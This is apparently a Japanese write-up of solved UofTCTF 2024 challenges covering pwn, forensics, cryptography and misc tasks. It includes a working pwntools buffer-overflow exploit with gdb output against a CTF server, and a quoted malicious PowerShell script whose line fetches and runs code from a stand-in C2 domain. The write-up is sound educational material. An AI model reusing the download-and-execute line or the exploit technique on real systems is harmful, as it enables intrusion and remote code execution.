この大会は2024/1/14 2:00(JST)~2024/1/15 14:00(JST)に開催されました。
今回もチームで参戦。結果は4313点で1225チーム中73位でした。
自分で解けた問題をWriteupとして書いておきます。
General Information (Introduction)
問題にフラグが書いてあった。
UofTCTF{600d_1uck}
Baby's First IoT Introduction (IoT)
問題にフラグが書いてあった。
{i_understand_the_mission}
Out of the Bucket (Miscellaneous)
上位のパス https://storage.googleapis.com/out-of-the-bucket を見てみると、XMLのファイルリスト(バケット)が表示される。
その中で以下のパスが怪しいので、アクセスしてみる。
secret/dont_show
$ curl https://storage.googleapis.com/out-of-the-bucket/secret/dont_show uoftctf{allUsers_is_not_safe}
uoftctf{allUsers_is_not_safe}
basic-overflow (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_48 [64]; gets(local_48); return 0; } void shell(void) { execve("/bin/sh",(char **)0x0,(char **)0x0); return; }
BOFでshell関数をコールすればよい。
$ gdb -q ./basic-overflow Reading symbols from ./basic-overflow... (No debugging symbols found in ./basic-overflow) gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /media/sf_Shared/basic-overflow [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffde78 --> 0x7fffffffe1f4 ("/media/sf_Shared/basic-overflow") RCX: 0x7ffff7f9aa80 --> 0xfbad2288 RDX: 0x1 RSI: 0x1 RDI: 0x7ffff7f9ca20 --> 0x0 RBP: 0x4141334141644141 ('AAdAA3AA') RSP: 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") RIP: 0x401175 (<main+31>: ret) R8 : 0x405305 --> 0x0 R9 : 0x0 R10: 0x1000 R11: 0x246 R12: 0x0 R13: 0x7fffffffde88 --> 0x7fffffffe214 ("CLUTTER_IM_MODULE=xim") R14: 0x403df0 --> 0x401100 (endbr64) R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40116a <main+20>: call 0x401040 <gets@plt> 0x40116f <main+25>: mov eax,0x0 0x401174 <main+30>: leave => 0x401175 <main+31>: ret 0x401176: add BYTE PTR [rax],al 0x401178 <_fini>: endbr64 0x40117c <_fini+4>: sub rsp,0x8 0x401180 <_fini+8>: add rsp,0x8 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0x7fffffffdd70 ("AJAAfAA5AAKAAgAA6AAL") 0016| 0x7fffffffdd78 ("AAKAAgAA6AAL") 0024| 0x7fffffffdd80 --> 0x4c414136 ('6AAL') 0032| 0x7fffffffdd88 --> 0x7fffffffde78 --> 0x7fffffffe1f4 ("/media/sf_Shared/basic-overflow") 0040| 0x7fffffffdd90 --> 0x7fffffffde78 --> 0x7fffffffe1f4 ("/media/sf_Shared/basic-overflow") 0048| 0x7fffffffdd98 --> 0xde922db7777cbf58 0056| 0x7fffffffdda0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401175 in main () gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72 $ ROPgadget --binary basic-overflow | grep ": ret" 0x000000000040101a : ret 0x0000000000401042 : ret 0x2f 0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('34.123.15.202', 5000) else: p = process('./basic-overflow') elf = ELF('./basic-overflow') ret_addr = 0x40101a shell_addr = elf.symbols['shell'] payload = b'A' * 72 payload += p64(ret_addr) payload += p64(shell_addr) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to 34.123.15.202 on port 5000: Done [*] '/media/sf_Shared/basic-overflow' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x11@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls flag run $ cat flag uoftctf{reading_manuals_is_very_fun}
uoftctf{reading_manuals_is_very_fun}
Secret Message 1 (Forensics)
PDFを開くと、フラグがマスクされているので、テキストを抽出してみる。
$ pdftotext secret.pdf $ cat secret.txt Confidential Document TRANSCRIPT: A Very Private Conversation Person 1: "So, have you reviewed the latest security measures?" Person 2: "I have. The team's done a thorough job this time." Person 1: "Especially after the last breach, we couldn't take any chances." Person 2: "Absolutely. The new encryption protocols should prevent similar incidents." Person 1: "What about the insider threat? Any measures against that?" Person 2: "Yes, they've implemented strict access controls and regular audits." Person 1: "Good to hear. By the way, how's the CTF challenge coming along?" Person 2: "Oh, it's going great. We've got some tricky puzzles this time." Person 1: "Just make sure the flag is well-protected. We don't want a repeat of last time." Person 2: "Definitely not. The flag 'uoftctf{fired_for_leaking_secrets_in_a_pdf}' is securely embedded." Person 1: "Great. But remember, that's between us." Person 2: "Of course. Confidentiality is key in these matters." Person 1: "Alright, I trust your discretion. Let's keep it under wraps." Person 2: "Agreed. We'll debrief the team about general security, but specifics stay with us." Person 1: "Sounds like a plan. Let's meet next week for another update." Person 2: "Will do. Take care until then."
uoftctf{fired_for_leaking_secrets_in_a_pdf}
No grep (Forensics)
VirtualBoxにインポートして起動すると、自動でログインする。
PowerShellの実行履歴を見る。
C:\Users\analyst>type C:\Users\analyst\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt cd .\Desktop\ clear ls ifconfig ipconfig netstat -r clear exit cd .\Desktop\ clear ls .\stomp_time.exe --help .\stomp_time.exe -h .\stomp_time.exe clear ls .\stomp_time.exe -m .\stomp_time.exe -m r -p C:\Users\analyst\Desktop\stomp_time.exe ls .\stomp_time.exe -m -p C:\Users\analyst\Desktop\stomp_time.exe ls .\stomp_time.exe -z 10-20-1999 14:02:01 -p C:\Users\analyst\Desktop\stomp_time.exe ls -la ls New-Item "new.txt" clear ls cd .. cd .\Users\analyst\Desktop\ clear ls .\stomp_time.exe -z "10-20-1994 14:2:01" -p .\new.txt ls Get-Alias clear Set-ExecutionPolicy RemoteSigned clear ls clear Set-Alias -Name UpdateSystem -Value "C:\Windows\Web\Wallpaper\Theme2\update.ps1" clear Get-Alias Get-Alias -Name "UpdateSystem" exit Get-Alias notepad $PROFILE echo $PROFILE`
C:\Windows\Web\Wallpaper\Theme2\update.ps1を見てみる。
$String_Key = 'W0wMadeitthisfar' $NewValue = '$(' + (([int[]][char[]]$String | ForEach-Object { "[char]$($_)" }) -join '+') + ')' $chars = 34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20 $keyAscii = $String_Key.ToCharArray() | ForEach-Object { [int][char]$_ } $resultArray = $chars -bxor $keyAscii IEX (Invoke-WebRequest -Uri 'https://somec2attackerdomain.com/chrome.exe' -UseBasicParsing).Content
$String_Keyと$charsのXORを取る。
#!/usr/bin/env python3 String_Key = 'W0wMadeitthisfar' chars = [34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20] flag = '' for i in range(len(chars)): flag += chr(chars[i] ^ ord(String_Key[i % len(String_Key)])) print(flag)
uoftctf{0dd_w4y_t0_run_pw5h}
EnableMe (Forensics)
マクロが含まれているWordファイルが問題のファイル。マクロのコードを見てみる。
$ olevba invoice.docm olevba 0.60.1 on Python 3.10.12 - http://decalage.info/python/oletools =============================================================================== FILE: invoice.docm Type: OpenXML WARNING For now, VBA stomping cannot be detected for files in memory ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub AutoOpen() Dim v6 As Variant, v7 As Variant v6 = Array(98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106) v7 = Array(44, 32, 51, 84, 43, 53, 48, 62, 68, 114, 38, 61, 17, 70, 121, 45, 112, 126, 26, 39, 21, 78, 21, 7, 6, 26, 127, 8, 89, 0, 1, 54, 26, 87, 16, 10, 84) Dim v8 As Integer: v8 = 23 Dim v9 As String, v10 As String, v4 As String, i As Integer v9 = "" For i = 0 To UBound(v6) v9 = v9 & Chr(v6(i) Xor Asc(Mid(Chr(v8), (i Mod Len(Chr(v8))) + 1, 1))) Next i v10 = "" For i = 0 To UBound(v7) v10 = v10 & Chr(v7(i) Xor Asc(Mid(v9, (i Mod Len(v9)) + 1, 1))) Next i MsgBox v10 End Sub ------------------------------------------------------------------------------- VBA MACRO Module1.bas in file: word/vbaProject.bin - OLE stream: 'VBA/Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |AutoOpen |Runs when the Word document is opened | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Xor |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | +----------+--------------------+---------------------------------------------+
v6の各値とv8のXORを取り、v9を出力すればよい。
#!/usr/bin/env python3 v6 = [98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106] v8 = 23 flag = '' for i in range(len(v6)): flag += chr(v6[i] ^ v8) print(flag)
uoftctf{d0cx_f1l35_c4n_run_c0de_t000}
repeat (Cryptography)
8バイトの鍵でXOR暗号化されている。フラグは"uoftctf{"で始まることを前提に復号する。
#!/usr/bin/env python3 def xor(message, key): return bytes([message[i] ^ key[i % len(key)] for i in range(len(message))]) with open('flag.enc', 'rb') as f: enc_flag = bytes.fromhex(f.read().decode().split(' ')[-1]) flag_head = b'uoftctf{' key = b'' for i in range(len(flag_head)): key += bytes([enc_flag[i] ^ flag_head[i]]) flag = '' for i in range(len(enc_flag)): flag += chr(enc_flag[i] ^ key[i % len(key)]) print(flag)
uoftctf{x0r_iz_r3v3rs1bl3_w17h_kn0wn_p141n73x7}
Pianoman (Cryptography)
RSA暗号でp, q, cはわかっている。コードからeはわからないが、musical_e.pngが関係しているようだ。
musical_e.pngには五線譜に音符が書かれている。音階は10段階なので、ドを0にして、音階が上がるごとに数値が上がっていると推測する。
そうだとするとeは7029307になり、この前提で復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * p = 151974537061323957822386073908385085419559026351164685426097479266890291010147521691623222013307654711435195917538910433499461592808140930995554881397135856676650008657702221890681556382541341154333619026995004346614954741516470916984007797447848200982844325683748644670322174197570545222141895743221967042369 q = 174984645401233071825665708002522121612485226530706132712010887487642973021704769474826989160974464933559818767568944237124745165979610355867977190192654030573049063822083356316183080709550520634370714336131664619311165756257899116089875225537979520325826655873483634761961805768588413832262117172840398661229 n = p * q e = 7029307 with open('output.txt', 'r') as f: c = int(f.read()) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
uoftctf{AT1d2jMCVs03xxalViU9zTyiiV1INNJY}
Wheel Barrow (Cryptography)
問題タイトルから、Burrows–Wheeler transformで変換していると推測できる。
https://calcoolator.eu/burrows-wheeler-transform-encoder-decoder-で元に戻す。End of file characterに"$"を指定する。
th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$
uoftctf{th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$}